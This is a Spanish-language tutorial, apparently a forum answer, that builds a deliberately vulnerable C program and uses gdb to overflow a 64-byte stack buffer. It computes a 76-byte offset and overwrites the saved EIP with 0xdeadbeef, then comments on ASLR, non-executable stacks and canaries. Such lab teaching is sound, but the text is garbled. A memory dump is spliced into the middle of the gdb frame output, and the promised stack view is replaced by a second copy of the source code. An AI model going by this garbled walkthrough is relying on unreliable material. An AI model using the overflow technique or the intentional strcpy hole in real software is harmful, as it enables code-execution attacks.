Primero, es mejor que intentes desbordar el eip
guardado de una función regular, no main()
. No es realmente diferente, pero la función main()
es un poco específica y podría darte una visión distorsionada de la realidad.
Probemos con este código:
#include <stdio.h>
#include <string.h>
void foo(char *msg)
{
char buf[64];
printf ("You entered value %s\n", msg);
strcpy (buf, msg);
printf ("%s\n", buf);
}
int main (int argc, char *argv[])
{
if (argc > 1)
foo(argv[1]);
printf ("Program is exiting normally!\n");
return 0;
}
Primero, vamos a compilarlo:
$> gcc -Wall -Wextra -std=c11 -m32 -g -o vulnerable vulnerable.c
Luego, comencemos con gdb
:
$> gdb -q ./vulnerable
Reading symbols from ./vulnerable...done.
(gdb) b foo
Breakpoint 1 at 0x11db: file vulnerable.c, line 7.
(gdb) r $(python -c 'print("A" * 64)')
Starting program: /tmp/vulnerable $(python -c 'print("A" * 64)')
Breakpoint 1, foo (msg=0xffffd53a 'A' <repeats 64 times>) at vulnerable.c:7
7 printf ("You entered value %s\n", msg);
(gdb)
Ahora, estamos justo en el punto en el que podemos desbordar el búfer y sobrescribir el eip
guardado que está almacenado en la pila. Sin embargo, ingresamos solo 64 ' A
' (el tamaño del búfer), y necesitamos saber cuántos ' A
' necesitamos insertar para alcanzar el eip
guardado en la pila.
Lo que intentaremos hacer es:
- Obtenga la dirección del búfer;
- Obtenga la dirección del
eip
guardado en la pila;
- Obtenga la diferencia entre estas dos direcciones, que debería proporcionarnos el tamaño exacto del relleno que necesitamos insertar para alcanzar el
eip
guardado.
Vamos a ir:
(gdb) p &buf
$1 = (char (*)[64]) 0xffffd280
(gdb) info frame
Stack level 0, frame at 0xffffd2d0:
eip = 0x565561db in foo (vulnerable.c:7); saved eip = 0x56556249
called by frame at 0xffffd300
source language c.
Arglist at 0xffffd2c8, args: msg=0xffffd53a 'A' <repeats 64 times>
Locals at 0xffffd2c8, Previous frame's sp is 0xffffd2d0
Saved registers:
ebx at 0xffffd2c4, ebp at 0xffffd2c8, eip at 0xffffd2cc
(gdb) p 0xffffd2cc-0xffffd280
$3 = 76
Ahora, sabemos que si alimentamos el programa con 76 caracteres de relleno, sobrescribiremos el eip
guardado con los siguientes 4 caracteres (aquí está en 32 bits).
Vamos a probar:
(gdb) r $(python -c 'print("A" * 76 + "\xde\xad\xbe\xef"[::-1])')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vulnerable $(python -c 'print("A" * 76 + "\xde\xad\xbe\xef"[::-1])')
Breakpoint 1, foo (
msg=0xffffd52a 'A' <repeats 76 times>, <incomplete sequence 6>)
at vulnerable.c:7
7 printf ("You entered value %s\n", msg);
(gdb) n
You entered value AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
8 strcpy (buf, msg);
(gdb) info frame
Stack level 0, frame at 0xffffd2c0:
eip = 0x565561f0 in foo (vulnerable.c:8); saved eip = 0x56556249
called by frame at 0xffffd2f0
source language c.
Arglist at 0xffffd2b8, args:
msg=0xffffd52a 'A' <repeats 76 times>, <incomplete sequence 6>
Locals at 0xffffd2b8, Previous frame's sp is 0xffffd2c0
Saved registers:
ebx at 0xffffd2b4, ebp at 0xffffd2b8, eip at 0xffffd2bc
(gdb) n
9 printf ("%s\n", buf);
(gdb) info frame
Stack level 0, frame at 0xffffd2c0:
eip = 0x56556202 in foo (vulnerable.c:9); saved eip = 0xdeadbeef
called by frame at 0xffffd2c4
source language c.
Arglist at 0xffffd2b8, args:
msg=0xffffd500 "S07Q73(gdb) x /32x $esp
0xffffd270: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd280: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd290: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2b0: 0x41414141 0x41414141 0x41414141 0xdeadbeef
0xffffd2c0: 0xffffd500 0xffffd384 0xffffd390 0x5655622b
0xffffd2d0: 0xffffd2f0 0x00000000 0x00000000 0xf7de79a1
0xffffd2e0: 0xf7fa4000 0xf7fa4000 0x00000000 0xf7de79a1
4x(5\ri686"
Locals at 0xffffd2b8, Previous frame's sp is 0xffffd2c0
Saved registers:
ebx at 0xffffd2b4, ebp at 0xffffd2b8, eip at 0xffffd2bc
Ahora, tenemos el control completo del eip
guardado, ya que acabamos de escribir 0xdeadbeef
en él. Por lo tanto, podemos controlar la ejecución una vez que salgamos de esta función foo()
.
Si desea ver lo que acaba de escribir en la pila, ahora puede hacerlo:
#include <stdio.h>
#include <string.h>
void foo(char *msg)
{
char buf[64];
printf ("You entered value %s\n", msg);
strcpy (buf, msg);
printf ("%s\n", buf);
}
int main (int argc, char *argv[])
{
if (argc > 1)
foo(argv[1]);
printf ("Program is exiting normally!\n");
return 0;
}
Como puedes ver, encuentras todos los 76 ' A
' seguidos de 0xdeadbeef
. De hecho, este es su búfer buf
, seguido del ebp
guardado y el eip
guardado que acaba de reescribir.
Una nota final sobre el ASLR y la pila no ejecutable. Estas dos protecciones no están jugando ningún papel aquí. Solo deben deshabilitarse si desea ejecutar un código de shell que inyecte a través de este desbordamiento. El ASLR hace que sea más difícil escribir una dirección significativa en lugar de 0xdeadbeef
porque el contexto de la memoria cambiará todo el tiempo. Y, la pila no ejecutable, solo arruinará tus intentos de ejecutar código en la pila.
Si solo desea controlar el eip
guardado, solo necesita desactivar los canarios de la pila (opción stack-protector
). El resto solo tendrá sentido después, cuando intentes usar este control para redirigirlo a algún código que poseas.